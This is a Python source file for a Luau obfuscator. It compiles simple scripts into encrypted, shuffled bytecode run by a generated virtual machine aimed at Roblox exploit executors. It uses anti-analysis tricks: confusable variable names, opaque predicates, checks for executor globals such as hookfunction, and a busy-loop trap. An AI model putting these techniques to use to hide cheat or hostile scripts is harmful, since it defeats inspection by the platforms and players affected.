38029-vm/core/obfuscator.py
Flatlogic Bot b9ac7cd6b0 15:06
2026-01-31 14:06:58 +00:00

334 lines
13 KiB
Python

import random
import string
import base64
import json
from .parser import Lexer, Parser
class LuauVMObfuscator:
def __init__(self):
# Full Luau-style Opcode list
self.opcodes = [
"MOVE", "LOADK", "LOADBOOL", "LOADNIL", "GETGLOBAL", "SETGLOBAL",
"GETTABLE", "SETTABLE", "NEWTABLE", "SELF", "ADD", "SUB", "MUL",
"DIV", "MOD", "POW", "UNM", "NOT", "LEN", "CONCAT", "JMP", "EQ",
"LT", "LE", "TEST", "TESTSET", "CALL", "TAILCALL", "RETURN",
"FORLOOP", "FORPREP", "TFORLOOP", "SETLIST", "CLOSE", "CLOSURE", "VARARG"
]
# Arithmetic keys for opcode decoding
self.k1 = random.randint(100, 500)
self.k2 = random.randint(100, 500)
# Opcode to encoded ID: (real_index + k1) ^ k2
self.op_to_id = {name: ((self.opcodes.index(name) + self.k1) ^ self.k2) % 1024 for name in self.opcodes}
# Variable Renaming Map
self.var_map = {}
self.used_vars = set()
def get_var(self, hint="var"):
if hint in self.var_map:
return self.var_map[hint]
chars = "l1I0O"
new_var = "_" + "".join(random.choice(chars) for _ in range(random.randint(10, 15)))
while new_var in self.used_vars:
new_var = "_" + "".join(random.choice(chars) for _ in range(random.randint(10, 15)))
self.used_vars.add(new_var)
self.var_map[hint] = new_var
return new_var
def to_expr(self, n, depth=0):
# Recursively build complex expressions
if depth > 2 or random.random() < 0.1:
return str(n)
r = random.randint(1, 1000)
choice = random.choice(['add', 'sub', 'xor', 'mul'])
if choice == 'add':
return f"({self.to_expr(n - r, depth + 1)} + {self.to_expr(r, depth + 1)})"
elif choice == 'sub':
return f"({self.to_expr(n + r, depth + 1)} - {self.to_expr(r, depth + 1)})"
elif choice == 'xor':
return f"bit32.bxor({self.to_expr(n ^ r, depth + 1)}, {self.to_expr(r, depth + 1)})"
elif choice == 'mul':
if n != 0 and n % 2 == 0:
return f"({self.to_expr(n // 2, depth + 1)} * {self.to_expr(2, depth + 1)})"
return f"({self.to_expr(n, depth + 1)})"
return str(n)
def opaque_predicate(self):
v1 = random.randint(100, 1000)
v2 = random.randint(100, 1000)
preds = [
f"({self.to_expr(v1)} == {self.to_expr(v1)})",
f"({self.to_expr(v1)} + {self.to_expr(v2)} > {self.to_expr(v1)})",
f"(math.floor(math.pi) == {self.to_expr(3)})",
f"(string.len('SUPREME') == {self.to_expr(7)})",
f"(bit32.bor({v1}, {v1}) == {v1})"
]
return random.choice(preds)
def encrypt_string(self, s, key):
res = []
last = key % 256
for i, c in enumerate(s):
k = (key + i + last) % 256
last = ord(c)
res.append(chr(ord(c) ^ k))
return "".join(res)
def generate_vm_source(self, bytecode):
raw_instructions = bytecode['instructions']
shuffled = []
indices = list(range(len(raw_instructions)))
random.shuffle(indices)
pos_map = {orig: shuffled_idx for shuffled_idx, orig in enumerate(indices)}
final_insts = [None] * len(raw_instructions)
for i, orig_idx in enumerate(indices):
inst = raw_instructions[orig_idx]
if orig_idx + 1 < len(raw_instructions):
next_orig = orig_idx + 1
next_shuffled = pos_map[next_orig]
else:
next_shuffled = 0
packed = [
inst[0] & 0xFF, (inst[0] >> 8) & 0xFF, # OP is now 2 bytes for more range
inst[1], inst[2], inst[3],
next_shuffled & 0xFF, (next_shuffled >> 8) & 0xFF
]
final_insts[i] = packed
inst_str = "".join(chr(i) for inst in final_insts for i in inst)
inst_b64 = base64.b64encode(inst_str.encode('latin-1')).decode()
encrypted_consts = []
salt = random.randint(10000, 99999)
for i, c in enumerate(bytecode['constants']):
if c['type'] == 'string':
key = (i * 149 + salt) % 256
enc_val = self.encrypt_string(c['value'], key)
encrypted_consts.append({"t": 1, "v": base64.b64encode(enc_val.encode('latin-1')).decode()})
else:
encrypted_consts.append({"t": 2, "v": c['value']})
consts_json = json.dumps(encrypted_consts)
start_idx = pos_map[0]
# Obfuscated Variable Names
V_ENV = self.get_var("env")
V_B64 = self.get_var("b64")
V_D = self.get_var("decode")
V_INST = self.get_var("inst_raw")
V_CONSTS = self.get_var("consts")
V_SALT = self.get_var("salt")
V_EXEC = self.get_var("execute")
V_REGS = self.get_var("registers")
V_CURR = self.get_var("current")
V_RUN = self.get_var("running")
V_GETC = self.get_var("get_const")
V_PTR = self.get_var("ptr")
V_OP = self.get_var("op")
V_A = self.get_var("a")
V_B = self.get_var("b")
V_C = self.get_var("c")
V_BIT = self.get_var("bit32")
V_GS = self.get_var("getservice")
vm_lua = f"""
-- [[ LUAU-VM SUPREME V3 - ROBLOX EXECUTOR EXCLUSIVE ]]
local {V_ENV} = getfenv()
local {V_BIT} = bit32
local {V_GS} = game.GetService
local {V_B64} = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
local {V_D} = function(data)
if not ({self.opaque_predicate()}) then return "" end
data = string.gsub(data, '[^'..{V_B64}..'=]', '')
return (data:gsub('.', function(x)
if (x == '=') then return '' end
local r,f='',({V_B64}:find(x)-1)
for i=6,1,-1 do r=r..(f%2^i-f%2^(i-1)>0 and '1' or '0') end
return r;
end):gsub('%d%d%d%d%d%d%d%d', function(x)
local r=0
for i=1,8 do r=r+(x:sub(i,i)=='1' and 2^(8-i) or 0) end
return string.char(r)
end))
end
-- Advanced Integrity & Sandbox Detection
local function _S()
local d = {{ "getgenv", "getrenv", "getreg", "debug", "Drawing", "hookfunction" }}
local c = 0
for _, v in ipairs(d) do if {V_ENV}[v] then c = c + 1 end end
if c == 0 and not ({self.opaque_predicate()}) then return false end
-- Check for Roblox specific globals
if not {V_ENV}["game"] or not {V_ENV}["task"] then return false end
return true
end
local {V_INST} = {V_D}('{inst_b64}')
local {V_CONSTS} = {V_GS}(game, "HttpService"):JSONDecode('{consts_json}')
local {V_SALT} = {self.to_expr(salt)}
local function {V_EXEC}()
if not _S() then
-- Trap: Infinite loop or crash
local _trap = function() while true do end end
task.spawn(_trap)
return
end
local {V_REGS} = {{}}
local {V_CURR} = {self.to_expr(start_idx)}
local {V_RUN} = true
local function {V_GETC}(idx)
local c = {V_CONSTS}[idx + 1]
if not c then return nil end
if c.t == {self.to_expr(1)} then
local raw = {V_D}(c.v)
local key = (idx * {self.to_expr(149)} + {V_SALT}) % {self.to_expr(256)}
local res = ""
local last = key % 256
for i=1, #raw do
local k = (key + i + last - 1) % 256
local b = string.byte(raw, i)
local char_code = {V_BIT}.bxor(b, k)
res = res .. string.char(char_code)
last = char_code
end
return res
end
return c.v
end
-- SUPREME DISPATCHER
while {V_RUN} do
if not ({self.opaque_predicate()}) then break end
local {V_PTR} = {V_CURR} * {self.to_expr(7)} + 1
if {V_PTR} > #{V_INST} then break end
local op_l = string.byte({V_INST}, {V_PTR})
local op_h = string.byte({V_INST}, {V_PTR} + 1)
local {V_A} = string.byte({V_INST}, {V_PTR} + 2)
local {V_B} = string.byte({V_INST}, {V_PTR} + 3)
local {V_C} = string.byte({V_INST}, {V_PTR} + 4)
local next_l = string.byte({V_INST}, {V_PTR} + 5)
local next_h = string.byte({V_INST}, {V_PTR} + 6)
{V_CURR} = next_l + (next_h * {self.to_expr(256)})
local op_raw = op_l + (op_h * 256)
local {V_OP} = {V_BIT}.bxor(op_raw, {self.to_expr(self.k2)}) - {self.to_expr(self.k1)}
if {V_OP} == {self.to_expr(self.opcodes.index('MOVE'))} then
{V_REGS}[{V_A}] = {V_REGS}[{V_B}]
elseif {V_OP} == {self.to_expr(self.opcodes.index('LOADK'))} then
{V_REGS}[{V_A}] = {V_GETC}({V_B})
elseif {V_OP} == {self.to_expr(self.opcodes.index('GETGLOBAL'))} then
{V_REGS}[{V_A}] = {V_ENV}[{V_GETC}({V_B})]
elseif {V_OP} == {self.to_expr(self.opcodes.index('SETGLOBAL'))} then
{V_ENV}[{V_GETC}({V_B})] = {V_REGS}[{V_A}]
elseif {V_OP} == {self.to_expr(self.opcodes.index('CALL'))} then
local f = {V_REGS}[{V_A}]
local args = {{}}
if {V_B} > 1 then for i=1, {V_B}-1 do args[i] = {V_REGS}[{V_A}+i] end end
local res = {{f(unpack(args))}}
if {V_C} > 1 then for i=1, {V_C}-1 do {V_REGS}[{V_A}+i-1] = res[i] end end
elseif {V_OP} == {self.to_expr(self.opcodes.index('RETURN'))} then
{V_RUN} = false
end
-- Anti-Trace Junk
if not ({self.opaque_predicate()}) then {V_RUN} = false end
end
end
task.spawn({V_EXEC})
"""
return vm_lua
def compile_to_bytecode(self, ast):
constants = []
instructions = []
locals_map = {}
next_reg = 0
def add_const(val):
if isinstance(val, str):
s_q = chr(39)
d_q = chr(34)
if (val.startswith(s_q) and val.endswith(s_q)) or (val.startswith(d_q) and val.endswith(d_q)):
val = val[1:-1]
for i, c in enumerate(constants):
if c['value'] == val: return i
t = 'string' if isinstance(val, str) else 'number'
constants.append({'type': t, 'value': val})
return len(constants) - 1
def load_expr_to_reg(expr, reg):
if expr['type'] == 'IDENT':
if expr['value'] in locals_map:
instructions.append([self.op_to_id["MOVE"], reg, locals_map[expr['value']], 0])
else:
instructions.append([self.op_to_id["GETGLOBAL"], reg, add_const(expr['value']), 0])
elif expr['type'] in ['STRING', 'NUMBER']:
val = expr['value']
if expr['type'] == 'NUMBER':
try: val = float(val)
except: pass
instructions.append([self.op_to_id["LOADK"], reg, add_const(val), 0])
for node in ast:
if node['type'] == 'call':
func_reg = next_reg
if node['name'] in locals_map:
instructions.append([self.op_to_id["MOVE"], func_reg, locals_map[node['name']], 0])
else:
instructions.append([self.op_to_id["GETGLOBAL"], func_reg, add_const(node['name']), 0])
for i, arg_expr in enumerate(node['args']):
load_expr_to_reg(arg_expr, func_reg + 1 + i)
instructions.append([self.op_to_id["CALL"], func_reg, len(node['args']) + 1, 1])
elif node['type'] == 'assign':
val_reg = next_reg
load_expr_to_reg(node['value'], val_reg)
if node.get('local'):
locals_map[node['name']] = val_reg
next_reg += 1
else:
instructions.append([self.op_to_id["SETGLOBAL"], val_reg, add_const(node['name']), 0])
instructions.append([self.op_to_id["RETURN"], 0, 0, 0])
return {"instructions": instructions, "constants": constants}
def obfuscate(self, code):
if not code.strip(): return "-- No input"
try:
lexer = Lexer(code)
tokens = lexer.tokenize()
parser = Parser(tokens)
ast = parser.parse()
if not ast: return "-- VM Parser: No valid structures found."
bytecode = self.compile_to_bytecode(ast)
return self.generate_vm_source(bytecode)
except Exception as e:
import traceback
return f"-- Error: {str(e)}\n{traceback.format_exc()}"
def obfuscate(code):
return LuauVMObfuscator().obfuscate(code)